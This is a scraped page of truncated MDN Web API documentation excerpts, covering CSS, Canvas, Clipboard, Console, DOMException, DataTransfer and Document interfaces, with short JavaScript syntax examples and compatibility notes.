the css.registerproperty() method registers custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value. registering a custom property allows you to tell the browser how the custom property should behave; what are allowed types, whether the custom property inherits its value, and what the default value of the custom property is. syntax css.registerproperty(propertydefinition); parameters a propertydefinition dictionary object, which can contain the following members: name a domstring indicating the name of the property being defined. syntax optional a domstring representing the expected syntax of the defined property. defaults to "*". inherits a boolean value defining whether the defined property should be...
CSS.supports() - Web APIs
Web › API › CSS › supports
the css.supports() method returns a boolean value indicating if the browser supports a given css feature, or not. syntax css.supports(propertyname, value); css.supports(supportcondition); parameters there are two distinct sets of parameters. the first one allows to test the support of a pair property-value: propertyname a domstring containing the name of the css property to check. value a domstring containing the value of the css property to check. the second syntax takes one parameter matching the condition of @supports: supportcondition a domstring containing the condition to check. return value true if the browser supports the rule, otherwise false. examples result = css.supports("text-decoration-style", "blink"); result = css.supports("display: flex"); result = css.s...
CSSPseudoElement - Web APIs
arget, so it inherits the following methods: eventtarget.addeventlistener() registers an event handler of a specific event type on the pseudo-element. eventtarget.dispatchevent() dispatches an event to this pseudo-element. eventtarget.removeeventlistener() removes an event listener from the pseudo-element. examples basic example using element.pseudo using pseudo-elements, most modern browsers will automatically add quotation marks around text inside a <q> element. (a style rule may be needed to add quotation marks in older browsers.) the example below demonstrates the basic properties of the csspseudoelement object representing the opening quotation mark. const element = document.queryselector('q'); const csspseudoelement = element.pseudo('::before'); console.log(csspseudoelement.
CSSRule - Web APIs
Web › API › CSSRule
specifications specification status comment css object model (cssom)the definition of 'cssrule' in that specification. working draft obsoleted values charset_rule and unknown_rule. added value namespace_rule. css animationsthe definition of 'cssrule' in that specificat...
CSSStyleSheet.addRule() - Web APIs
. if index is not specified, the next index after the last item currently in the list is used (that is, the value of cssstylesheet.cssrules.length). return value always returns -1. note that due to somewhat estoteric rules about where you can legally insert rules, it's possible that an exception may be thrown. see insertrule() for more information. usage notes this method is implemented by browsers by constructing a string using the template literal `${selector}{${styleblock}}`, then passing it into the standard insertrule() method. therefore, given existing code such as the following: cssstylesheet.addrule(selector, styles, 0); you can rewrite this to use the more standard insertrule() like this: cssstylesheet.insertrule(`${selector} {${styles}}`, 0); specifications speci...
CSSStyleSheet.insertRule() - Web APIs
erted rule must contain depends on its type: for rule-sets, both a selector and a style declaration. for at-rules, both an at-identifier and the rule content. index optional a positive integer less than or equal to stylesheet.cssrules.length, representing the newly inserted rule's position in cssstylesheet.cssrules. the default is 0. (in older implementations, this was required. see browser compatibility for details.) return value the newly inserted rule's index within the stylesheet's rule-list. restrictions css has some intuitive and not-so-intuitive restrictions affecting where rules can be inserted. violating them will likely raise a domexception. if index > cssrulelist.length, the method aborts with an indexsizeerror. if rule cannot be inserted at index 0 due to some...
CSS Properties and Values API - Web APIs
the css properties and values api — part of the css houdini umbrella of apis — allows developers to explicitly define their css custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value. interfaces css.registerproperty defines how a browser should parse a css custom properties. access this interface through css.registerproperty in javascript. @property defines how a browser should parse a css custom properties. access this interface through @property in css. examples the following uses css.registerproperty in javascript to type a css custom properties, --my-color, as a color, give it a default value, and not allow it to inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '...
Cache - Web APIs
Web › API › Cache
you are responsible for implementing how your script (e.g. in a serviceworker) handles cache updates. items in a cache do not get updated unless explicitly requested; they don’t expire unless deleted. use cachestorage.open() to open a specific named cache object and then call any of the cache methods to maintain the cache. you are also responsible for periodically purging cache entries. each browser has a hard limit on the amount of cache storage that a given origin can use. cache quota usage estimates are available via the storageestimate api. the browser does its best to manage disk space, but it may delete the cache storage for an origin. the browser will generally delete all of the data for an origin or none of the data for an origin. make sure to version caches by name and use the cac...
CanvasPattern.setTransform() - Web APIs
'); var svg1 = document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support dommatrix as an input to settransform(), so for example you could replace the svgmatrix in the above example with the following: const matrix = new dommatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="...
CanvasRenderingContext2D.filter - Web APIs
hanged. saturate() a css <percentage>. saturates the drawing. a value of 0% means completely un-saturated. a value of 100% leaves the drawing unchanged. sepia() a css <percentage>. converts the drawing to sepia. a value of 100% means completely sepia. a value of 0% leaves the drawing unchanged. none no filter is applied. initial value. examples to view these examples, make sure to use a browser that supports this feature; see the compatibility table below. applying a blur this example blurs a piece of text using the filter property. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.filter = 'blur(4px)'; ctx.font = '48px serif'; ctx.filltext('hello world', 50, 100); result applying multi...
CanvasRenderingContext2D.putImageData() - Web APIs
javascript const canvas = document.createelement("canvas"); canvas.width = 1; canvas.height = 1; const context = canvas.getcontext("2d"); const imgdata = context.getimaged...
A basic ray-caster - Web APIs
i supports pixel copying of images, so textures seem feasible. i'll leave that for another article, probably from another person. ...
Basic animations - Web APIs
ow.settimeout(), and window.requestanimationframe() functions, which can be used to call a specific function over a set period of time. setinterval(function, delay) starts repeatedly executing the function specified by function every delay milliseconds. settimeout(function, delay) executes the function specified by function in delay milliseconds. requestanimationframe(callback) tells the browser that you wish to perform an animation and requests that the browser call a specified function to update an animation before the next repaint. if you don't want any user interaction you can use the setinterval() function which repeatedly executes the supplied code. if we wanted to make a game, we could use keyboard or mouse events to control the animation and use settimeout(). by setting event...
Finale - Web APIs
Web › API › Canvas API › Tutorial › Finale
« previous congratulations! you finished the canvas tutorial! this knowledge will help you to make great 2d graphics on the web. more examples and tutorials there are a variety of demos and further explanations about canvas on these sites: codepen.io front end developer playground & code editor in the browser. html5 canvas tutorials examples for most canvas apis. game development gaming is one of the most popular computer activities. new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. other web apis these apis might be useful when working further with canvas and graphics: webgl advanced api for rendering complex graphics, including 3d. svg scalable ve...
Pixel manipulation with canvas - Web APIs
math.min(math.max(0, x - 5), img.width - 10), math.min(math.max(0, y - 5), img.height - 10), 10, 10, 0, 0, 200, 200); because anti-aliasing is enabled by default, we might want to disable the smoothing to see clear pixels. you can toggle the checkbox to see the effect of the imagesmoothingenabled property (which needs prefixes for different browsers). zoom example <canvas id="canvas" width="300" height="227"></canvas> <canvas id="zoom" width="300" height="227"></canvas> <div> <label for="smoothbtn"> <input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"> enable image smoothing </label> </div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; img.onload = function() { draw(t...
Canvas tutorial - Web APIs
in this tutorial. this tutorial describes how to use the <canvas> element to draw 2d graphics, starting with the basics. the examples provided should give you some clear ideas about what you can do with canvas, and will provide code snippets that may get you started in building your own content. first introduced in webkit by apple for the os x dashboard, <canvas> has since been implemented in browsers. today, all major browsers support it. before you start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascript. the <canvas> element is not supported in some older browsers, but is supported in recent versions of all major browsers. the default size of the canvas is 300 pixels × 150 pixels (width × height). but custom sizes can be def...
Canvas API - Web APIs
reates interactive data visualizations. konva.js is a 2d canvas library for desktop and mobile applications. p5.js has a full set of canvas drawing functionality for artists, designers, educators, and beginners. paper.js is an open-source vector graphics scripting framework that runs on top of the html5 canvas. phaser is a fast, free and fun open source framework for canvas and webgl powered browser games. processing.js is a port of the processing visualization language. pts.js is a library for creative coding and visualization in canvas and svg. rekapi is an animation key-framing api for canvas. scrawl-canvas is an open-source javascript library for creating and manipulating 2d canvas elements. the zim framework provides conveniences, components, and controls for coding creativity on...
ChildNode.after() - Web APIs
Web › API › ChildNode › after
nodes); parameters nodes a set of node or domstring objects to insert. exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
ChildNode.before() - Web APIs
Web › API › ChildNode › before
nodes); parameters nodes a set of node or domstring objects to insert. exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
ChildNode.replaceWith() - Web APIs
nodes); parameters nodes a set of node or domstring objects to replace. exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
Client.frameType - Web APIs
Web › API › Client › frameType
this value can be one of "auxiliary", "top-level", "nested", or "none". ...
Clients - Web APIs
Web › API › Clients
the clients interface provides access to client objects. access it via self.clients within a service worker. methods clients.get() returns a promise for a client matching a given id. clients.matchall() returns a promise for an array of client objects. an options argument allows you to control the types of clients returned. clients.openwindow() opens a new browser window for a given url and returns a promise for the new windowclient. clients.claim() allows an active service worker to set itself as the controller for all clients within its scope. examples the following example shows an existing chat window or creates a new one when the user clicks a notification. addeventlistener('notificationclick', event => { event.waituntil(async function() { const allclients = await c...
Clipboard.read() - Web APIs
Web › API › Clipboard › read
board's contents, delivering the data to the returned promise when the promise is resolved. unlike readtext(), the read() method can return arbitrary data, such as images. this method can also return text. to read from the clipboard, you must first have the "clipboard-read" permission. note: the asynchronous clipboard and permissions apis are still in the process of being integrated into most browsers, so they often deviate from the official rules for permissions and the like. be sure to review the compatibility table before using these methods. syntax var promise = navigator.clipboard.read(); parameters none. return value a promise that resolves with a datatransfer object containing the clipboard's contents. the promise is rejected if permission to access the clipboard is not grante...
Clipboard.write() - Web APIs
Web › API › Clipboard › write
be sure to check the compatibility table as well as clipboard availability in clipboard for more information. ...
Clipboard.writeText() - Web APIs
be sure to check the compatibility table as well as clipboard availability in clipboard for more information. ...
CloseEvent - Web APIs
efox are 1000 and 3000 to 4999 [source, bug]. status code name description 0–999 reserved and not used. 1000 normal closure normal closure; the connection successfully completed whatever purpose for which it was created. 1001 going away the endpoint is going away, either because of a server failure or because the browser is navigating away from the page that opened the connection. 1002 protocol error the endpoint is terminating the connection due to a protocol error. 1003 unsupported data the connection is being terminated because the endpoint received data of a type it cannot accept (for example, a text-only endpoint received binary data). 1004 reser...
console.assert() - Web APIs
Web › API › Console › assert
shorthand: // console.assert(number % 2 === 0, {number, errormsg}); } // output: // the # is 2 // the # is 3 // assertion failed: {number: 3, errormsg: "the # is not even"} // the # is 4 // the # is 5 // assertion failed: {number: 5, errormsg: "the # is not even"} note that, while a string containing a substitution string works as a parameter for console.log in node and many, if not most, browsers... console.log('the word is %s', 'foo'); // output: the word is foo ...the use of such a string does not currently work as intended as a parameter for console.assert in all browsers: console.assert(false, 'the word is %s', 'foo'); // correct output in node.js and some browsers // (e.g. firefox v60.0.2): // assertion failed: the word is foo // incorrect output in some browsers // (e...
console.log() - Web APIs
Web › API › Console › log
eas console.dir does not. this is often useful when trying to see the full representation of the dom js object. there's more information in the chrome console api reference about this and other functions. logging objects don't use console.log(obj), use console.log(json.parse(json.stringify(obj))). this way you are sure you are seeing the value of obj at the moment you log it. otherwise, many browsers provide a live view that constantly updates as values change. this may not be what you want. specifications specification status comment console apithe definition of 'console.log()' in that specification. living standard initial definition ...
Console.table() - Web APIs
Web › API › Console › table
l parameter columns. it logs data as a table. each element in the array (or enumerable property if data is an object) will be a row in the table. the first column in the table will be labeled (index). if data is an array, then its values will be the array indices. if data is an object, then its values will be the property names. note that (in firefox) console.table is limited to displaying 1000 rows (first row is the labeled index). note: this feature is available in web workers. collections of primitive types the data argument may be an array or an object. // an array of strings console.table(["apples", "oranges", "bananas"]); // an object whose properties are strings function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var me = new pe...
Console.time() - Web APIs
Web › API › Console › time
see timers in the console documentation for details and examples. note: this feature is available in web workers. syntax console.time(label); parameters label the name to give the new timer. ...
Console.timeStamp() - Web APIs
Web › API › Console › timeStamp
this lets you correlate a point in your code with the other events recorded in the timeline, such as layout and paint events. you can optionally supply an argument to label the timestamp, and this label will then be shown alongside the marker. note: this feature is available in web workers. ...
ConstantSourceNode - Web APIs
ult values by calling audiocontext.createconstantsource(). properties inherits properties from its parent interface, audioscheduledsourcenode, and adds the following properties: offset an audioparam which specifies the value that this source continuously outputs. the default value is 1.0. event handlers inherits event handlers from its parent interface, audioscheduledsourcenode. some browsers' implementations of this event handler are part of the audioscheduledsourcenode interface. onended fired whenever the constantsourcenode data has stopped playing. methods inherits methods from its parent interface, audioscheduledsourcenode. some browsers' implementations of these methods are part of the audioscheduledsourcenode interface. start() schedules a sound to playback a...
Constraint validation API - Web APIs
may want to impose more complex constraints, or to provide clearer reporting of validation failures than the defaults. this can be done using the constraint validation api. note: client-side constraint validation doesn't remove the need for validation on the server side. even though client-side validation can prevent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application. therefore, you need to also validate input values on the server side, in a way that is consistent with what is done on the client side. client side validation is a tool for giving quick feedback to the user. you should not rely on it to completely sanitize data received by the server. validation of constraints through the constraint valid...
ContentIndex - Web APIs
properties there are no properties of this interface. methods contentindex.add registers an item with the content index. contentindex.delete unregisters an item from the currently indexed content. contentindex.getall returns a promise that resolves with an iterable list of content index entries. examples feature detection and interface access here we get a reference to the serviceworkerregistration, then check for the index property, which gives us access to the content index interface. ...
ContentIndexEvent - Web APIs
it is not fired when the contentindex.delete method is called. ...
ConvolverNode() - Web APIs
exception explanation notsupportederror the referenced audiobuffer does not have the correct number of channels, or it has a different sample rate to the associated audiocontext. specifications specification status comment web audio apithe definition of 'convolvernode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetconvolvernode() constru...
CountQueuingStrategy - Web APIs
tablestream({ // implement the sink write(chunk) { ... }, close() { ... }, abort(err) { console.log("sink error:", err); } }, queueingstrategy); var size = queueingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountqueuingstrategy ex...
Credential Management API - Web APIs
bdomain. for example, a password stored in login.example.com may be used to log in to www.example.com. to take advantage of this, a password must be explicitly stored by calling credentialscontainer.store(). this is sometimes referred to as public suffix list (psl) matching; however the spec only recommends using psl to determine the effective scope of a credential. it does not require it. hence browsers may vary in their implementation. interfaces credential provides information about an entity as a prerequisite to a trust decision. credentialscontainer exposes methods to request credentials and notify the user agent when interesting events occur such as successful sign in or sign out. this interfaces is accessible from navigator.credentials. federatedcredential provides information ...
CredentialsContainer.preventSilentAccess() - Web APIs
ilentaccess() method of the credentialscontainer interface sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty promise. for example, you might call this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit. mediation varies by origin, and is an added check point of browser stored credentials, informing a user of an account login status. this method is typically called after a user signs out of a website, ensuring this user's login information is not automatically passed on the next site visit. earlier versions of the spec called this method requireusermediation(). see browser compatibility for support details. syntax var promise = credentialscontainer.prevents...
CredentialsContainer - Web APIs
iner.preventsilentaccess()secure context sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty promise. for example, you might call this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit. earlier versions of the spec called this method requireusermediation(). see browser compatibility for support details. credentialscontainer.store()secure context stores a set of credentials for a user, inside a provided credential instance and returns that instance in a promise. examples // tbd specifications specification status comment credential management level 1 working draft initial definition. web authentication: an api for ...
DOMException() - Web APIs
al returns a domstring that contains one of the strings associated with an error constant. return value domexception a newly created domexception object. example tbd specifications specification status comment web idlthe definition of 'domexception()' in that specification. candidate recommendation adds the constructor for the domexception class. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdomexception() construct...
DOMException.code - Web APIs
Web › API › DOMException › code
atch. this field is used for historical reasons. new dom exceptions don't use this anymore: they put this info in the domexception.name attribute. syntax var domexceptioncode = domexceptioninstance.code; value a short number. specifications specification status comment web idlthe definition of 'code' in that specification. candidate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcodechrome ...
DOMException.message - Web APIs
-only property of the domexception interface returns a domstring representing a message or description associated with the given error name. syntax var domexceptionmessage = domexceptioninstance.message; value a domstring. specifications specification status comment web idlthe definition of 'message' in that specification. candidate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmessagechrome ...
DOMImplementation.hasFeature() - Web APIs
the different implementations fairly diverged in what kind of features were reported. the latest version of the spec settled to force this method to always return true, where the functionality was accurate and in use. syntax const flag = document.implementation.hasfeature(feature, version); parameters feature a domstring representing the feature name. version a domstring representing the version of the specification defining the feature. ...
DOMImplementation - Web APIs
ldocument. domimplementation.createdocumenttype() creates and returns a documenttype. domimplementation.createhtmldocument() creates and returns an html document. domimplementation.hasfeature() returns a boolean indicating if a given feature is supported or not. this function is unreliable and kept for compatibility purpose alone: except for svg-related queries, it always returns true. old browsers are very inconsistent in their behavior. specifications specification status comment domthe definition of 'domimplementation' in that specification. living standard removed the getfeature() method. added the createhtmldocument() method. modified the return type of createdocument() from document to xmldocument. document object model (dom) level ...
DOMMatrix - Web APIs
Web › API › DOMMatrix
values. if the array has six values, the result is a 2d matrix; if the array has 16 values, the result is a 3d matrix. otherwise, a typeerror exception is thrown. frommatrix() creates a new mutable dommatrix object given an existing matrix or a dommatrixinit dictionary which provides the values for its properties. usage notes the matrix defined by the dommatrix interface is comprised of four rows of four columns each. while it's beyond the scope of this article to explain the mathematics involved, this 4×4 size is enough to describe any transformation you might apply to either 2d or 3d geometries. [m11m21m31m41m12m22m32m42m13m23m33m43m14m24m34m44]\left [ \begin{matrix} m_{11} & m_{21} & m_{31} & m_{41} \\ m_{12} & m_{22} & m_{32} & m_{42} \\ m_{13} & m_{23} & m_{33} & m_{43} \\ m_{14}...
DOMMatrixReadOnly - Web APIs
for details on this syntax. for a 2d matrix, the elements a through f are listed, for a total of six values and the form matrix(a, b, c, d, e, f). for a 3d matrix, the returned string contains all 16 elements and takes the form matrix3d(m11, m12, m13, m14, m21, m22, m23, m24, m31, m32, m33, m34, m41, m42, m43, m44). see the css matrix3d() function for details on the 3d notation's syntax. throws an invalidstateerror exception if any of the elements in the matrix are non-finite (even if, in the case of a 2d matrix, the non-finite values are in elements not used by the 2d matrix representation). dommatrixreadonly.transformpoint() transforms the specified point using the matrix, returning a new dompoint object containing the transformed point. neither the matrix nor the original point a...
DOMRectReadOnly.fromRect() - Web APIs
ctangle. y: the coordinate of the top side of the rectangle. width: the width of the rectangle. height: the height of the rectangle. return value an instance of domrect. specifications specification status comment geometry interfaces module level 1the definition of 'fromrect()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfromrect() static funct...
DOMTokenList.replace() - Web APIs
s false immediately, without adding the new token to the token list. syntax tokenlist.replace(oldtoken, newtoken); parameters oldtoken a domstring representing the token you want to replace. newtoken a domstring representing the token you want to replace oldtoken with. return value a boolean value, which is true if oldtoken was successfully replaced, or false if not. note: in older browsers, replace() returns void. examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. we then replace a token in the list, and write the list into the <span>'s node.textcontent. first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; ...
DataTransfer.dropEffect - Web APIs
when the datatransfer object is created, dropeffect is set to a string value. on getting, it returns its current value. ...
DataTransfer.files - Web APIs
the datatransfer.files property is a list of the files in the drag operation. if the operation includes no files, the list is empty. this feature can be used to drag files from a user's desktop to the browser. syntax datatransfer.files; return value a list of the files in a drag operation, one list item for each file in the operation. if the drag operation had no files, the list is empty. example there are two live examples of this interface: firefox only: http://jsfiddle.net/9c2ef/ all browsers: https://jsbin.com/hiqasek/ specifications specification status comment html living standardthe definition of 'files' in that specification. living standard html 5.1the definition of 'files' in that specification. recommendation initial def...
DataTransfer.setDragImage() - Web APIs
tly specified). xoffset a long indicating the horizontal offset within the image. yoffset a long indicating the vertical offset within the image. return value void example this example shows how to use the setdragimage() method. note the example refers to an image file named example.gif. if that file is present, it will be used as the drag image and if that file is not present, the browser will use its default drag image. demo <!doctype html> <html lang=en> <title>example of datatransfer.setdragimage()</title> <meta name="viewport" content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { consol...
DedicatedWorkerGlobalScope - Web APIs
herited from workerglobalscope workerglobalscope.self returns an object reference to the dedicatedworkerglobalscope object itself. workerglobalscope.console read only returns the console associated with the worker. workerglobalscope.location read only returns the workerlocation associated with the worker. workerlocation is a specific location object, mostly a subset of the location for browsing scopes, but adapted to workers. workerglobalscope.navigator read only returns the workernavigator associated with the worker. workernavigator is a specific navigator object, mostly a subset of the navigator for browsing scopes, but adapted to workers. workerglobalscope.performance read only returns the performance object associated with the worker, which is a regular performance object...
DelayNode() - Web APIs
, in seconds. defaults to 1. return value a new delaynode object instance. example const audioctx = new audiocontext(); const delaynode = new delaynode(audioctx, { delaytime: 0.5, maxdelaytime: 2, }); specifications specification status comment web audio apithe definition of 'delaynode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdelaynode() constructor...
DeprecationReportBody - Web APIs
ed api method) is used on a document being observed by a reportingobserver. properties id a string representing the deprecated feature that generated the report, for example navigatorgetusermedia. this can be used to group reports by deprecated feature. anticipatedremoval a date object (rendered as a string) representing the date when the feature is expected to be removed from the current browser. if the date is not known, this property will return null. message a string containing a human-readable description of the deprecation, including information such as what newer feature has superceded it, if any. this typically matches the message a browser will display in its devtools console when a deprecated feature is used, if one is available. sourcefile a string containing the path to ...
Using light sensors - Web APIs
the event gives information about the light intensity of the device's environment. the devicelightevent provides a value attribute with light intensity in lux which is generally treated as shown below. ...
DirectoryEntrySync - Web APIs
ersync to read entries from this directory. directoryreadersync createreader ( ) raises (fileexception); returns directoryreadersync represents a directory in a file system. parameter none exceptions this method can raise a fileexception with the following codes: exception description not_found_err the directory does not exist. security_err the browser determined that it was not safe to look up the metadata. [ todo: explain why ] getfile() depending on how you've set the options parameter, the method either creates a file or looks up an existing file. void getfile ( in domstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path from the directory to the file to ...
Document: DOMContentLoaded event - Web APIs
ent.readystate === 'loading') { // loading hasn't finished yet document.addeventlistener('domcontentloaded', dosomething); } else { // `domcontentloaded` has already fired dosomething(); } live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.even...
Document() - Web APIs
Web › API › Document › Document
the document constructor creates a new document object that is a web page loaded in the browser and serving as an entry point into the page's content. syntax new document(); specifications specification status comment domthe definition of 'document' in that specification. living standard initial definition. ...
Document.applets - Web APIs
Web › API › Document › applets
removal is being considered in webkit and edge. syntax var nodelist = document.applets; value an htmlcollection. ...
Document.contentType - Web APIs
note: this property is unaffected by <meta> elements. ...
Document: copy event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the original target for this event is the element that was the intended target of the copy action. you can listen for this event on the document interface to handle it in the capture or bubbling phases. for full details on this event please see the page on the element: copy event. ...
Document.createElement() - Web APIs
nds: "ul" }); if we wanted to create an instance of this element programmatically, we'd use a call along the following lines: let expandinglist = document.createelement('ul', { is : 'expanding-list' }) the new element will be given an is attribute whose value is the custom element's tag name. note: for backwards compatibility with previous versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. specifications specification status comment domthe definition of 'document.createelement' in that specification. living standard ...
Document.createElementNS() - Web APIs
o be created. the nodename property of the created element is initialized with the value of qualifiedname. optionsoptional an optional elementcreationoptions object containing a single property named is, whose value is the tag name for a custom element previously defined using customelements.define(). for backwards compatibility with previous versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. see extending native html elements for more information on how to use this parameter. the new element will be given an is attribute whose value is the custom element's tag name. custom elements are an experimental feature only available in some browsers. return value the ne...
Document.createEntityReference() - Web APIs
try to avoid using it. prior to gecko 7.0 this method showed up as present, due to bug bug 9850, it always only returned null. the only workaround is to create a text node, cdata section, attribute node value, etc. ...
Document.createNodeIterator() - Web APIs
. see the example. note: prior to gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9), this method accepted an optional fourth parameter (entityreferenceexpansion) that is not part of the dom4 specification, and has therefore been removed. this parameter indicated whether or not the children of entity reference nodes were visible to the iterator. since such nodes were never created in browsers, this paramater had no effect. example const nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode(node) { return node.nodename.tolowercase() === 'p' ? nodefilter.filter_accept : nodefilter.filter_reject; } } ); const pars = []; let currentnode; while (currentnode = nodeiterator.nextnode()) { pars.push(currentn...
Document.createProcessingInstruction() - Web APIs
eters pinode is the resulting processinginstruction node. target is a string containing the first part of the processing instruction (i.e., <?target … ?>) data is a string containing any information the processing instruction should carry, after the target. the data is up to you, but it can't contain ?>, since that closes the processing instruction. exceptions dom_invalid_character throws if either of the following are true: the processing instruction target is invalid — it should be a valid xml name that doesn't contain "xml", "xml", or any case combination of the two, other than standardized ones such as <?xml-stylesheet ?>. the closing processing instruction sequence (?>) is part of the data. example var doc = new domparser().parsefromstring('<foo />', 'applicati...
Document: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the original target for this event is the element that was the intended target of the cut action. you can listen for this event on the document interface to handle it in the capture or bubbling phases. for full details on this event please see the page on the element: cut event. ...
Document.defaultView - Web APIs
syntax var win = document.defaultview; this property is read-only. specifications specification status comment html living standardthe definition of 'document.defaultview' in that specification. living standard no change html5the definition of 'document.defaultview' in that specification. ...
Document.documentURIObject - Web APIs
e any other custom property. privileged code must be careful not to try getting or setting this property on a non-wrapped content object (e.g., on a wrappedjsobject of an xpcnativewrapper). see bug 324464's comments for details. syntax var uri = document.documenturiobject; example // check that the uri scheme of the current tab in firefox is 'http', // assuming this code runs in context of browser.xul let uriobj = content.document.documenturiobject; let uriport = uriobj.port; if (uriobj.schemeis('http')) { ... } specifications not part of any specification. ...
Document.domain - Web APIs
Web › API › Document › domain
his property is successfully set, the port part of the origin is also set to null. syntax const domainstring = document.domain document.domain = domainstring value the domain portion of the current document's origin. exceptions securityerror an attempt has been made to set domain under one of the following conditions: the document is inside a sandboxed <iframe> the document has no browsing context the document's effective domain is null the given value is not equal to the document's effective domain (or it is not a registerable domain suffix of it) the document-domain feature-policy is enabled examples getting the domain for the uri http://developer.mozilla.org/docs/web, this example sets currentdomain to the string "developer.mozilla.org". const currentdomain = d...
Document.fonts - Web APIs
Web › API › Document › fonts
oing operation after all fonts are loaded document.fonts.ready.then(function() { // any operation that needs to be done only after all the fonts // have finished loading can go here. }); specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontschrome ...
Document.forms - Web APIs
Web › API › Document › forms
ssword.placeholder = 'password'; </script> </body> </html> specifications specification status comment html living standardthe definition of 'document.forms' in that specification. living standard document object model (dom) level 2 html specificationthe definition of 'document.forms' in that specification. obsolete initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetformschrome ...
Document.fullscreenEnabled - Web APIs
en(). if full-screen mode isn't available, this value is false. example in this example, before attempting to request full-screen mode for a <video> element, the value of fullscreenenabled is checked, in order to avoid making the attempt when not available. function requestfullscreen() { if (document.fullscreenenabled) { videoelement.requestfullscreen(); } else { console.log('your browser cannot use fullscreen right now'); } } specifications specification status comment fullscreen apithe definition of 'document.fullscreenenabled' in that specification. living standard initial definition ...
Document: fullscreenchange event - Web APIs
